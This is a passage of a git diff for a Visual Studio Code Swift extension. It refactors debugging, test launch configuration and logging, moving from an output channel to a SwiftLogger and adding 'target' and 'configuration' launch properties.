"--xunit-output", include: 1 }, + { argument: "--enable-testable-imports", include: 0 }, + { argument: "--disable-testable-imports", include: 0 }, + { argument: "--attachments-path", include: 1 }, + { argument: "--skip-build", include: 0 }, + ]; } export class SwiftTestingBuildAguments { @@ -136,7 +164,7 @@ export class SwiftTestingConfigurationSetup { public static async cleanupAttachmentFolder( folderContext: FolderContext, testRunTime: number, - outputChannel: vscode.OutputChannel + logger: SwiftLogger ): Promise { const attachmentPath = SwiftTestingConfigurationSetup.resolveAttachmentPath( folderContext, @@ -153,7 +181,7 @@ export class SwiftTestingConfigurationSetup { await fs.rmdir(attachmentPath); } } catch (error) { - outputChannel.appendLine(`Failed to clean up attachment path: ${error}`); + logger.error(`Failed to clean up attachment path: ${error}`); } } } @@ -333,6 +361,14 @@ export class TestingConfigurationFactory { const libraryPath = toolchain.swiftTestingLibraryPath(); const frameworkPath = toolchain.swiftTestingFrameworkPath(); const swiftPMTestingHelperPath = toolchain.swiftPMTestingHelperPath; + const env = { + ...this.testEnv, + ...this.sanitizerRuntimeEnvironment, + DYLD_FRAMEWORK_PATH: frameworkPath, + DYLD_LIBRARY_PATH: libraryPath, + SWT_SF_SYMBOLS_ENABLED: "0", + SWT_EXPERIMENTAL_EVENT_STREAM_FIELDS_ENABLED: "1", + }; // Toolchains that contain https://github.com/swiftlang/swift-package-manager/commit/844bd137070dcd18d0f46dd95885ef7907ea0697 // produce a single testing binary for both xctest and swift-testing (called .xctest). @@ -353,13 +389,7 @@ export class TestingConfigurationFactory { ]) ) ), - env: { - ...this.testEnv, - ...this.sanitizerRuntimeEnvironment, - DYLD_FRAMEWORK_PATH: frameworkPath, - DYLD_LIBRARY_PATH: libraryPath, - SWT_SF_SYMBOLS_ENABLED: "0", - }, + env, }; return result; } @@ -368,13 +398,7 @@ export class TestingConfigurationFactory { ...baseConfig, program: await this.testExecutableOutputPath(), args: this.debuggingTestExecutableArgs(), - env: { - ...this.testEnv, - ...this.sanitizerRuntimeEnvironment, - DYLD_FRAMEWORK_PATH: frameworkPath, - DYLD_LIBRARY_PATH: libraryPath, - SWT_SF_SYMBOLS_ENABLED: "0", - }, + env, }; return result; default: @@ -397,6 +421,7 @@ export class TestingConfigurationFactory { ...this.testEnv, ...this.sanitizerRuntimeEnvironment, SWT_SF_SYMBOLS_ENABLED: "0", + SWT_EXPERIMENTAL_EVENT_STREAM_FIELDS_ENABLED: "1", }, // For coverage we need to rebuild so do the build/test all in one step, // otherwise we do a build, then test, to give better progress. @@ -416,6 +441,7 @@ export class TestingConfigurationFactory { if (xcTestPath === undefined) { return null; } + const toolchain = this.ctx.toolchain; return { ...baseConfig, program: path.join(xcTestPath, "xctest"), @@ -425,6 +451,16 @@ export class TestingConfigurationFactory { env: { ...this.testEnv, ...this.sanitizerRuntimeEnvironment, + ...(toolchain.swiftVersion.isGreaterThanOrEqual( + new Version(6, 2, 0) + ) + ? { + // Starting in 6.2 we need to provide libTesting.dylib for xctests + DYLD_FRAMEWORK_PATH: + toolchain.swiftTestingFrameworkPath(), + DYLD_LIBRARY_PATH: toolchain.swiftTestingLibraryPath(), + } + : {}), SWIFT_TESTING_ENABLED: "0", }, }; @@ -540,11 +576,17 @@ export class TestingConfigurationFactory { ); } + // Starting in 6.3 the version string should match the toolchain version. + let versionString = "0"; + if (this.ctx.toolchain.swiftVersion.isGreaterThanOrEqual(new Version(6, 3, 0))) { + versionString = `${this.ctx.toolchain.swiftVersion.major}.${this.ctx.toolchain.swiftVersion.minor}`; + } + const swiftTestingArgs = [ ...this.ctx.toolchain.buildFlags.withAdditionalFlags(args), "--enable-swift-testing", - "--event-stream-version", - "0", + "--experimental-event-stream-version", + versionString, "--event-stream-output-path", this.swiftTestingArguments.fifoPipePath, ]; diff --git a/src/debugger/debugAdapter.ts b/src/debugger/debugAdapter.ts index fdaa7b03d..1863352c6 100644 --- a/src/debugger/debugAdapter.ts +++ b/src/debugger/debugAdapter.ts @@ -11,10 +11,9 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import configuration from "../configuration"; -import { Version } from "../utilities/version"; import { SwiftToolchain } from "../toolchain/toolchain"; +import { Version } from "../utilities/version"; /** * The launch configuration type added by the Swift extension that will delegate to the appropriate diff --git a/src/debugger/debugAdapterFactory.ts b/src/debugger/debugAdapterFactory.ts index d132df6c4..eca0a3f83 100644 --- a/src/debugger/debugAdapterFactory.ts +++ b/src/debugger/debugAdapterFactory.ts @@ -11,18 +11,19 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; +import * as vscode from "vscode"; + import { WorkspaceContext } from "../WorkspaceContext"; -import { DebugAdapter, LaunchConfigType, SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; -import { registerLoggingDebugAdapterTracker } from "./logTracker"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; import { SwiftToolchain } from "../toolchain/toolchain"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; import { fileExists } from "../utilities/filesystem"; -import { updateLaunchConfigForCI, getLLDBLibPath } from "./lldb"; import { getErrorDescription, swiftRuntimeEnv } from "../utilities/utilities"; -import configuration from "../configuration"; +import { DebugAdapter, LaunchConfigType, SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; +import { getTargetBinaryPath, swiftPrelaunchBuildTaskArguments } from "./launch"; +import { getLLDBLibPath, updateLaunchConfigForCI } from "./lldb"; +import { registerLoggingDebugAdapterTracker } from "./logTracker"; /** * Registers the active debugger with the extension, and reregisters it @@ -87,17 +88,56 @@ export class LLDBDebugConfigurationProvider implements vscode.DebugConfiguration constructor( private platform: NodeJS.Platform, private workspaceContext: WorkspaceContext, - private outputChannel: SwiftOutputChannel + private logger: SwiftLogger ) {} async resolveDebugConfigurationWithSubstitutedVariables( folder: vscode.WorkspaceFolder | undefined, launchConfig: vscode.DebugConfiguration ): Promise { - const workspaceFolder = this.workspaceContext.folders.find( + const folderContext = this.workspaceContext.folders.find( f => f.workspaceFolder.uri.fsPath === folder?.uri.fsPath ); - const toolchain = workspaceFolder?.toolchain ?? this.workspaceContext.globalToolchain; + const toolchain = folderContext?.toolchain ?? this.workspaceContext.globalToolchain; + + // "launch" requests must have either a "target" or "program" property + if ( + launchConfig.request === "launch" && + !("program" in launchConfig) && + !("target" in launchConfig) + ) { + throw new Error( + "You must specify either a 'program' or a 'target' when 'request' is set to 'launch' in a Swift debug configuration. Please update your debug configuration." + ); + } + + // Convert the "target" and "configuration" properties to a "program" + if (typeof launchConfig.target === "string") { + if ("program" in launchConfig) { + throw new Error( + `Unable to set both "target" and "program" on the same Swift debug configuration. Please remove one of them from your debug configuration.` + ); + } + const targetName = launchConfig.target; + if (!folderContext) { + throw new Error( + `Unable to resolve target "${targetName}". No Swift package is available to search within.` + ); + } + const buildConfiguration = launchConfig.configuration ?? "debug"; + if (!["debug", "release"].includes(buildConfiguration)) { + throw new Error( + `Unknown configuration property "${buildConfiguration}" in Swift debug configuration. Valid options are "debug" or "release. Please update your debug configuration.` + ); + } + launchConfig.program = await getTargetBinaryPath( + targetName, + buildConfiguration, + folderContext, + await swiftPrelaunchBuildTaskArguments(launchConfig, folderContext.workspaceFolder) + ); + delete launchConfig.target; + } // Fix the program path on Windows to include the ".exe" extension if ( @@ -148,9 +188,9 @@ export class LLDBDebugConfigurationProvider implements vscode.DebugConfiguration return undefined; } } - if (!(await this.promptForCodeLldbSettings(toolchain))) { - return undefined; - } + + await this.promptForCodeLldbSettingsIfRequired(toolchain); + // Rename lldb-dap's "terminateCommands" to "preTerminateCommands" for CodeLLDB if ("terminateCommands" in launchConfig) { launchConfig["preTerminateCommands"] = launchConfig["terminateCommands"]; @@ -203,15 +243,15 @@ export class LLDBDebugConfigurationProvider implements vscode.DebugConfiguration } } - async promptForCodeLldbSettings(toolchain: SwiftToolchain): Promise { + async promptForCodeLldbSettingsIfRequired(toolchain: SwiftToolchain) { const libLldbPathResult = await getLLDBLibPath(toolchain); if (!libLldbPathResult.success) { const errorMessage = `Error: ${getErrorDescription(libLldbPathResult.failure)}`; void vscode.window.showWarningMessage( `Failed to setup CodeLLDB for debugging of Swift code. Debugging may produce unexpected results. ${errorMessage}` ); - this.outputChannel.log(`Failed to setup CodeLLDB: ${errorMessage}`); - return true; + this.logger.error(`Failed to setup CodeLLDB: ${errorMessage}`); + return; } const libLldbPath = libLldbPathResult.success; const lldbConfig = vscode.workspace.getConfiguration("lldb"); @@ -219,7 +259,7 @@ export class LLDBDebugConfigurationProvider implements vscode.DebugConfiguration lldbConfig.get("library") === libLldbPath && lldbConfig.get("launch.expressions") === "native" ) { - return true; + return; } let userSelection: "Global" | "Workspace" | "Run Anyway" | undefined = undefined; switch (configuration.debugger.setupCodeLLDB) { @@ -272,7 +312,6 @@ export class LLDBDebugConfigurationProvider implements vscode.DebugConfiguration ); break; } - return true; } private convertEnvironmentVariables(map: { [key: string]: string }): string[] { diff --git a/src/debugger/launch.ts b/src/debugger/launch.ts index b1760609e..4ab865514 100644 --- a/src/debugger/launch.ts +++ b/src/debugger/launch.ts @@ -11,16 +11,16 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as path from "path"; -import * as vscode from "vscode"; import { isDeepStrictEqual } from "util"; +import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; +import configuration from "../configuration"; import { BuildFlags } from "../toolchain/BuildFlags"; import { stringArrayInEnglish } from "../utilities/utilities"; -import { SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; import { getFolderAndNameSuffix } from "./buildConfig"; -import configuration from "../configuration"; +import { SWIFT_LAUNCH_CONFIG_TYPE } from "./debugAdapter"; /** Options used to configure {@link makeDebugConfigurations}. */ export interface WriteLaunchConfigurationsOptions { @@ -69,6 +69,8 @@ export async function makeDebugConfigurations( const config = structuredClone(launchConfigs[index]); updateConfigWithNewKeys(config, generatedConfig, [ "program", + "target", + "configuration", "cwd", "preLaunchTask", "type", @@ -120,27 +122,88 @@ export async function makeDebugConfigurations( return true; } +export async function getTargetBinaryPath( + targetName: string, + buildConfiguration: "debug" | "release", + folderCtx: FolderContext, + extraArgs: string[] = [] +): Promise { + try { + // Use dynamic path resolution with --show-bin-path + const binPath = await folderCtx.toolchain.buildFlags.getBuildBinaryPath( + folderCtx.folder.fsPath, + buildConfiguration, + folderCtx.workspaceContext.logger, + "", + extraArgs + ); + return path.join(binPath, targetName); + } catch (error) { + // Fallback to traditional path construction if dynamic resolution fails + return getLegacyTargetBinaryPath(targetName, buildConfiguration, folderCtx); + } +} + +export function getLegacyTargetBinaryPath( + targetName: string, + buildConfiguration: "debug" | "release", + folderCtx: FolderContext +): string { + return path.join( + BuildFlags.buildDirectoryFromWorkspacePath(folderCtx.folder.fsPath, true), + buildConfiguration, + targetName + ); +} + +/** Expands VS Code variables such as ${workspaceFolder} in the given string. */ +function expandVariables(str: string): string { + let expandedStr = str; + const availableWorkspaceFolders = vscode.workspace.workspaceFolders ?? []; + // Expand the top level VS Code workspace folder. + if (availableWorkspaceFolders.length > 0) { + expandedStr = expandedStr.replaceAll( + "${workspaceFolder}", + availableWorkspaceFolders[0].uri.fsPath + ); + } + // Expand each available VS Code workspace folder. + for (const workspaceFolder of availableWorkspaceFolders) { + expandedStr = expandedStr.replaceAll( + `$\{workspaceFolder:${workspaceFolder.name}}`, + workspaceFolder.uri.fsPath + ); + } + return expandedStr; +} + // Return debug launch configuration for an executable in the given folder -export function getLaunchConfiguration( +export async function getLaunchConfiguration( target: string, + buildConfiguration: "debug" | "release", folderCtx: FolderContext -): vscode.DebugConfiguration | undefined { +): Promise { const wsLaunchSection = vscode.workspace.workspaceFile ? vscode.workspace.getConfiguration("launch") : vscode.workspace.getConfiguration("launch", folderCtx.workspaceFolder); const launchConfigs = wsLaunchSection.get("configurations") || []; - const { folder } = getFolderAndNameSuffix(folderCtx); - const targetPath = path.join( - BuildFlags.buildDirectoryFromWorkspacePath(folder, true), - "debug", - target - ); - // Users could be on different platforms with different path annotations, - // so normalize before we compare. - const launchConfig = launchConfigs.find( - config => path.normalize(config.program) === path.normalize(targetPath) - ); - return launchConfig; + const targetPath = await getTargetBinaryPath(target, buildConfiguration, folderCtx); + const legacyTargetPath = getLegacyTargetBinaryPath(target, buildConfiguration, folderCtx); + return launchConfigs.find(config => { + // Newer launch configs use "target" and "configuration" properties which are easier to query. + if (config.target) { + const configBuildConfiguration = config.configuration ?? "debug"; + return config.target === target && configBuildConfiguration === buildConfiguration; + } + // Users could be on different platforms with different path annotations, so normalize before we compare. + const normalizedConfigPath = path.normalize(expandVariables(config.program)); + const normalizedTargetPath = path.normalize(targetPath); + const normalizedLegacyTargetPath = path.normalize(legacyTargetPath); + // Old launch configs had program paths that looked like "${workspaceFolder:test}/defaultPackage/.build/debug", + // where `debug` was a symlink to the /debug. We want to support both old and new, so we're + // comparing against both to find a match. + return [normalizedTargetPath, normalizedLegacyTargetPath].includes(normalizedConfigPath); + }); } // Return array of DebugConfigurations for executables based on what is in Package.swift @@ -152,7 +215,6 @@ async function createExecutableConfigurations( // Windows understand the forward slashes, so make the configuration unified as posix path // to make it easier for users switching between platforms. const { folder, nameSuffix } = getFolderAndNameSuffix(ctx, undefined, "posix"); - const buildDirectory = BuildFlags.buildDirectoryFromWorkspacePath(folder, true, "posix"); return executableProducts.flatMap(product => { const baseConfig = { @@ -165,13 +227,15 @@ async function createExecutableConfigurations( { ...baseConfig, name: `Debug ${product.name}${nameSuffix}`, - program: path.posix.join(buildDirectory, "debug", product.name), + target: product.name, + configuration: "debug", preLaunchTask: `swift: Build Debug ${product.name}${nameSuffix}`, }, { ...baseConfig, name: `Release ${product.name}${nameSuffix}`, - program: path.posix.join(buildDirectory, "release", product.name), + target: product.name, + configuration: "release", preLaunchTask: `swift: Build Release ${product.name}${nameSuffix}`, }, ]; @@ -184,22 +248,44 @@ async function createExecutableConfigurations( * @param ctx Folder context for project * @returns Debug configuration for running Swift Snippet */ -export function createSnippetConfiguration( +export async function createSnippetConfiguration( snippetName: string, ctx: FolderContext -): vscode.DebugConfiguration { +): Promise { const { folder } = getFolderAndNameSuffix(ctx); - const buildDirectory = BuildFlags.buildDirectoryFromWorkspacePath(folder, true); - - return { - type: SWIFT_LAUNCH_CONFIG_TYPE, - request: "launch", - name: `Run ${snippetName}`, - program: path.posix.join(buildDirectory, "debug", snippetName), - args: [], - cwd: folder, - runType: "snippet", - }; + + try { + // Use dynamic path resolution with --show-bin-path + const binPath = await ctx.toolchain.buildFlags.getBuildBinaryPath( + ctx.folder.fsPath, + "debug", + ctx.workspaceContext.logger, + "snippet" + ); + + return { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + name: `Run ${snippetName}`, + program: path.posix.join(binPath, snippetName), + args: [], + cwd: folder, + runType: "snippet", + }; + } catch (error) { + // Fallback to traditional path construction if dynamic resolution fails + const buildDirectory = BuildFlags.buildDirectoryFromWorkspacePath(folder, true); + + return { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + name: `Run ${snippetName}`, + program: path.posix.join(buildDirectory, "debug", snippetName), + args: [], + cwd: folder, + runType: "snippet", + }; + } } /** @@ -246,3 +332,59 @@ function updateConfigWithNewKeys( oldConfig[key] = newConfig[key]; } } + +/** + * Get the arguments for a launch configuration's preLaunchTask if it's a Swift build task + * @param launchConfig The launch configuration to check + * @param workspaceFolder The workspace folder context (optional) + * @returns Promise the task arguments if it's a Swift build task, undefined otherwise + */ +export async function swiftPrelaunchBuildTaskArguments( + launchConfig: vscode.DebugConfiguration, + workspaceFolder?: vscode.WorkspaceFolder +): Promise { + const preLaunchTask = launchConfig.preLaunchTask; + + if (!preLaunchTask || typeof preLaunchTask !== "string") { + return undefined; + } + + try { + // Fetch all available tasks + const allTasks = await vscode.tasks.fetchTasks(); + + // Find the task by name + const task = allTasks.find(t => { + // Check if task name matches (with or without "swift: " prefix) + const taskName = t.name; + const matches = + taskName === preLaunchTask || + taskName === `swift: ${preLaunchTask}` || + `swift: ${taskName}` === preLaunchTask; + + // If workspace folder is specified, also check scope + if (workspaceFolder && matches) { + return t.scope === workspaceFolder || t.scope === vscode.TaskScope.Workspace; + } + + return matches; + }); + + if (!task) { + return undefined; + } + + // Check if task type is "swift" + if (task.definition.type !== "swift") { + return undefined; + } + + // Check if args contain "build" + const args = (task.definition.args as string[]) || []; + const hasBuild = args.includes("build"); + return hasBuild ? args : undefined; + } catch (error) { + // Log error but don't throw - return undefined for safety + return undefined; + } +} diff --git a/src/debugger/lldb.ts b/src/debugger/lldb.ts index 808aa6c3a..0a3cf6d80 100644 --- a/src/debugger/lldb.ts +++ b/src/debugger/lldb.ts @@ -11,16 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // Based on code taken from CodeLLDB https://github.com/vadimcn/vscode-lldb/ // LICENSED with MIT License - -import * as vscode from "vscode"; -import * as path from "path"; import * as fs from "fs/promises"; -import { execFile, IS_RUNNING_IN_CI } from "../utilities/utilities"; -import { Result } from "../utilities/result"; +import * as path from "path"; +import * as vscode from "vscode"; + import { SwiftToolchain } from "../toolchain/toolchain"; +import { Result } from "../utilities/result"; +import { IS_RUNNING_UNDER_TEST, execFile } from "../utilities/utilities"; /** * Updates the provided debug configuration to be compatible with running in CI. @@ -30,7 +29,7 @@ import { SwiftToolchain } from "../toolchain/toolchain"; export function updateLaunchConfigForCI( config: vscode.DebugConfiguration ): vscode.DebugConfiguration { - if (!IS_RUNNING_IN_CI) { + if (!IS_RUNNING_UNDER_TEST) { return config; } diff --git a/src/debugger/logTracker.ts b/src/debugger/logTracker.ts index 364082450..5b34b9c27 100644 --- a/src/debugger/logTracker.ts +++ b/src/debugger/logTracker.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + +import { SwiftLogger } from "../logging/SwiftLogger"; import { LaunchConfigType } from "./debugAdapter"; -import { SwiftOutputChannel } from "../ui/SwiftOutputChannel"; /** * Factory class for building LoggingDebugAdapterTracker @@ -30,6 +30,7 @@ export class LoggingDebugAdapterTrackerFactory implements vscode.DebugAdapterTra interface OutputEventBody { category: string; output: string; + exitCode: number | undefined; } interface DebugMessage { @@ -68,7 +69,9 @@ export class LoggingDebugAdapterTracker implements vscode.DebugAdapterTracker { private static debugSessionIdMap: { [id: string]: LoggingDebugAdapterTracker } = {}; private cb?: (output: string) => void; + private exitHandler?: (exitCode: number) => void; private output: string[] = []; + private exitCode: number | undefined; constructor(public id: string) { LoggingDebugAdapterTracker.debugSessionIdMap[id] = this; @@ -76,42 +79,55 @@ export class LoggingDebugAdapterTracker implements vscode.DebugAdapterTracker { static setDebugSessionCallback( session: vscode.DebugSession, - outputChannel: SwiftOutputChannel, - cb: (log: string) => void + logger: SwiftLogger, + cb: (log: string) => void, + exitHandler: (exitCode: number) => void ) { const loggingDebugAdapter = this.debugSessionIdMap[session.id]; if (loggingDebugAdapter) { - loggingDebugAdapter.cb = cb; + loggingDebugAdapter.setCallbacks(cb, exitHandler); for (const o of loggingDebugAdapter.output) { cb(o); } + if (loggingDebugAdapter.exitCode) { + exitHandler(loggingDebugAdapter.exitCode); + } loggingDebugAdapter.output = []; + loggingDebugAdapter.exitCode = undefined; } else { - outputChannel.appendLine("Could not find debug adapter for session: " + session.id); + logger.error("Could not find debug adapter for session: " + session.id); } } + setCallbacks(handleOutput: (output: string) => void, handleExit: (exitCode: number) => void) { + this.cb = handleOutput; + this.exitHandler = handleExit; + } + /** * The debug adapter has sent a Debug Adapter Protocol message to the editor. Check * it is a output message and is not being sent to the console */ onDidSendMessage(message: unknown): void { const debugMessage = message as DebugMessage; - if ( - !( - debugMessage && - debugMessage.type === "event" && - debugMessage.event === "output" && - debugMessage.body.category !== "console" - ) - ) { + if (!debugMessage) { return; } - const output = debugMessage.body.output; - if (this.cb) { - this.cb(output); - } else { - this.output.push(output); + + if (debugMessage.event === "exited" && debugMessage.body.exitCode) { + this.exitCode = debugMessage.body.exitCode; + this.exitHandler?.(debugMessage.body.exitCode); + } else if ( + debugMessage.type === "event" && + debugMessage.event === "output" && + debugMessage.body.category !== "console" + ) { + const output = debugMessage.body.output; + if (this.cb) { + this.cb(output); + } else { + this.output.push(output); + } } } @@ -119,7 +135,7 @@ export class LoggingDebugAdapterTracker implements vscode.DebugAdapterTracker { * The debug adapter session is about to be stopped. Delete the session from * the tracker */ - onWillStopSession?(): void { + onWillStopSession(): void { delete LoggingDebugAdapterTracker.debugSessionIdMap[this.id]; } } diff --git a/src/documentation/DocumentationManager.ts b/src/documentation/DocumentationManager.ts index 2725e417c..82a81d342 100644 --- a/src/documentation/DocumentationManager.ts +++ b/src/documentation/DocumentationManager.ts @@ -11,12 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { DocumentationPreviewEditor } from "./DocumentationPreviewEditor"; + import { WorkspaceContext } from "../WorkspaceContext"; +import { DocumentationPreviewEditor } from "./DocumentationPreviewEditor"; import { WebviewContent } from "./webview/WebviewMessage"; -import contextKeys from "../contextKeys"; export class DocumentationManager implements vscode.Disposable { private previewEditor?: DocumentationPreviewEditor; @@ -25,26 +24,26 @@ export class DocumentationManager implements vscode.Disposable { constructor( private readonly extension: vscode.ExtensionContext, - private readonly context: WorkspaceContext + private readonly workspaceContext: WorkspaceContext ) {} onPreviewDidUpdateContent = this.editorUpdatedContentEmitter.event; onPreviewDidRenderContent = this.editorRenderedEmitter.event; async launchDocumentationPreview(): Promise { - if (!contextKeys.supportsDocumentationLivePreview) { + if (!this.workspaceContext.contextKeys.supportsDocumentationLivePreview) { return false; } if (!this.previewEditor) { - const folderContext = this.context.currentFolder; + const folderContext = this.workspaceContext.currentFolder; if (!folderContext) { return false; } this.previewEditor = await DocumentationPreviewEditor.create( this.extension, - this.context + this.workspaceContext ); const subscriptions: vscode.Disposable[] = [ this.previewEditor.onDidUpdateContent(content => { diff --git a/src/documentation/DocumentationPreviewEditor.ts b/src/documentation/DocumentationPreviewEditor.ts index 2ffa13b03..ea0381a35 100644 --- a/src/documentation/DocumentationPreviewEditor.ts +++ b/src/documentation/DocumentationPreviewEditor.ts @@ -11,14 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as fs from "fs/promises"; import * as path from "path"; -import { RenderNode, WebviewContent, WebviewMessage } from "./webview/WebviewMessage"; +import * as vscode from "vscode"; +import { LSPErrorCodes, ResponseError } from "vscode-languageclient"; + import { WorkspaceContext } from "../WorkspaceContext"; import { DocCDocumentationRequest, DocCDocumentationResponse } from "../sourcekit-lsp/extensions"; -import { LSPErrorCodes, ResponseError } from "vscode-languageclient"; +import { RenderNode, WebviewContent, WebviewMessage } from "./webview/WebviewMessage"; + // eslint-disable-next-line @typescript-eslint/no-require-imports import throttle = require("lodash.throttle"); @@ -98,6 +99,7 @@ export class DocumentationPreviewEditor implements vscode.Disposable { private activeTextEditor?: vscode.TextEditor; private activeTextEditorSelection?: vscode.Selection; private subscriptions: vscode.Disposable[] = []; + private isDisposed: boolean = false; private disposeEmitter = new vscode.EventEmitter(); private renderEmitter = new vscode.EventEmitter(); @@ -133,6 +135,7 @@ export class DocumentationPreviewEditor implements vscode.Disposable { } dispose() { + this.isDisposed = true; this.subscriptions.forEach(subscription => subscription.dispose()); this.subscriptions = []; this.webviewPanel.dispose(); @@ -140,6 +143,9 @@ export class DocumentationPreviewEditor implements vscode.Disposable { } private postMessage(message: WebviewMessage) { + if (this.isDisposed) { + return; + } if (message.type === "update-content") { this.updateContentEmitter.fire(message.content); } @@ -246,13 +252,13 @@ export class DocumentationPreviewEditor implements vscode.Disposable { break; default: // We should log additional info for other response errors - this.context.outputChannel.log( + this.context.logger.error( baseLogErrorMessage + JSON.stringify(error.toJson(), undefined, 2) ); break; } } else { - this.context.outputChannel.log(baseLogErrorMessage + `${error}`); + this.context.logger.error(baseLogErrorMessage + `${error}`); } this.postMessage({ type: "update-content", diff --git a/src/documentation/webview/CommunicationBridge.ts b/src/documentation/webview/CommunicationBridge.ts index 3a28dc988..5d6e21a52 100644 --- a/src/documentation/webview/CommunicationBridge.ts +++ b/src/documentation/webview/CommunicationBridge.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { Disposable } from "./Disposable"; /** diff --git a/src/documentation/webview/webview.ts b/src/documentation/webview/webview.ts index 7ee31c63a..638253593 100644 --- a/src/documentation/webview/webview.ts +++ b/src/documentation/webview/webview.ts @@ -12,11 +12,10 @@ // //===----------------------------------------------------------------------===// /* eslint-disable @typescript-eslint/no-floating-promises */ - -import { RenderNode, WebviewContent, WebviewMessage } from "./WebviewMessage"; import { createCommunicationBridge } from "./CommunicationBridge"; import { ErrorMessage } from "./ErrorMessage"; import { ThemeObserver } from "./ThemeObserver"; +import { RenderNode, WebviewContent, WebviewMessage } from "./WebviewMessage"; // Remove VS Code's default styles as they conflict with swift-docc-render document.getElementById("_defaultStyles")?.remove(); diff --git a/src/editor/CommentCompletion.ts b/src/editor/CommentCompletion.ts index 27e359ad1..495efd595 100644 --- a/src/editor/CommentCompletion.ts +++ b/src/editor/CommentCompletion.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { DocumentParser } from "./DocumentParser"; function isLineComment(document: vscode.TextDocument, line: number): boolean { diff --git a/src/editor/DocumentParser.ts b/src/editor/DocumentParser.ts index f05efff85..d91721c82 100644 --- a/src/editor/DocumentParser.ts +++ b/src/editor/DocumentParser.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; /** diff --git a/src/extension.ts b/src/extension.ts index 7445cd9d0..cd2727ca4 100644 --- a/src/extension.ts +++ b/src/extension.ts @@ -11,32 +11,33 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // Use source-map-support to get better stack traces import "source-map-support/register"; import * as vscode from "vscode"; -import * as commands from "./commands"; -import * as debug from "./debugger/launch"; -import { ProjectPanelProvider } from "./ui/ProjectPanelProvider"; -import { FolderEvent, FolderOperation, WorkspaceContext } from "./WorkspaceContext"; + import { FolderContext } from "./FolderContext"; import { TestExplorer } from "./TestExplorer/TestExplorer"; +import { FolderEvent, FolderOperation, WorkspaceContext } from "./WorkspaceContext"; +import * as commands from "./commands"; +import { resolveFolderDependencies } from "./commands/dependencies/resolve"; +import { registerSourceKitSchemaWatcher } from "./commands/generateSourcekitConfiguration"; +import configuration, { handleConfigurationChangeEvent } from "./configuration"; +import { ContextKeys, createContextKeys } from "./contextKeys"; +import { registerDebugger } from "./debugger/debugAdapterFactory"; +import * as debug from "./debugger/launch"; +import { SwiftLogger } from "./logging/SwiftLogger"; +import { SwiftLoggerFactory } from "./logging/SwiftLoggerFactory"; +import { SwiftEnvironmentVariablesManager, SwiftTerminalProfileProvider } from "./terminal"; +import { SelectedXcodeWatcher } from "./toolchain/SelectedXcodeWatcher"; +import { checkForSwiftlyInstallation } from "./toolchain/swiftly"; +import { SwiftToolchain } from "./toolchain/toolchain"; import { LanguageStatusItems } from "./ui/LanguageStatusItems"; -import { getErrorDescription } from "./utilities/utilities"; -import { Version } from "./utilities/version"; import { getReadOnlyDocumentProvider } from "./ui/ReadOnlyDocumentProvider"; -import { registerDebugger } from "./debugger/debugAdapterFactory"; import { showToolchainError } from "./ui/ToolchainSelection"; -import { SwiftToolchain } from "./toolchain/toolchain"; -import { SwiftOutputChannel } from "./ui/SwiftOutputChannel"; import { checkAndWarnAboutWindowsSymlinks } from "./ui/win32"; -import { SwiftEnvironmentVariablesManager, SwiftTerminalProfileProvider } from "./terminal"; -import { resolveFolderDependencies } from "./commands/dependencies/resolve"; -import { SelectedXcodeWatcher } from "./toolchain/SelectedXcodeWatcher"; -import configuration, { handleConfigurationChangeEvent } from "./configuration"; -import contextKeys from "./contextKeys"; -import { registerSourceKitSchemaWatcher } from "./commands/generateSourcekitConfiguration"; +import { getErrorDescription } from "./utilities/utilities"; +import { Version } from "./utilities/version"; /** * External API as exposed by the extension. Can be queried by other extensions @@ -44,7 +45,7 @@ import { registerSourceKitSchemaWatcher } from "./commands/generateSourcekitConf */ export interface Api { workspaceContext?: WorkspaceContext; - outputChannel: SwiftOutputChannel; + logger: SwiftLogger; activate(): Promise; deactivate(): Promise; } @@ -53,37 +54,63 @@ export interface Api { * Activate the extension. This is the main entry point. */ export async function activate(context: vscode.ExtensionContext): Promise { + const activationStartTime = Date.now(); try { - const outputChannel = new SwiftOutputChannel("Swift"); - context.subscriptions.push(outputChannel); - outputChannel.log("Activating Swift for Visual Studio Code..."); + const logSetupStartTime = Date.now(); + const logger = configureLogging(context); + const logSetupElapsed = Date.now() - logSetupStartTime; + logger.info( + `Activating Swift for Visual Studio Code ${context.extension.packageJSON.version}...` + ); + logger.info(`Log setup completed in ${logSetupElapsed}ms`); + + const preToolchainStartTime = Date.now(); + checkAndWarnAboutWindowsSymlinks(logger); - checkAndWarnAboutWindowsSymlinks(outputChannel); + const contextKeys = createContextKeys(); + const preToolchainElapsed = Date.now() - preToolchainStartTime; + const toolchainStartTime = Date.now(); + const toolchain = await createActiveToolchain(context, contextKeys, logger); + const toolchainElapsed = Date.now() - toolchainStartTime; - const toolchain = await createActiveToolchain(outputChannel); + const swiftlyCheckStartTime = Date.now(); + checkForSwiftlyInstallation(contextKeys, logger); + const swiftlyCheckElapsed = 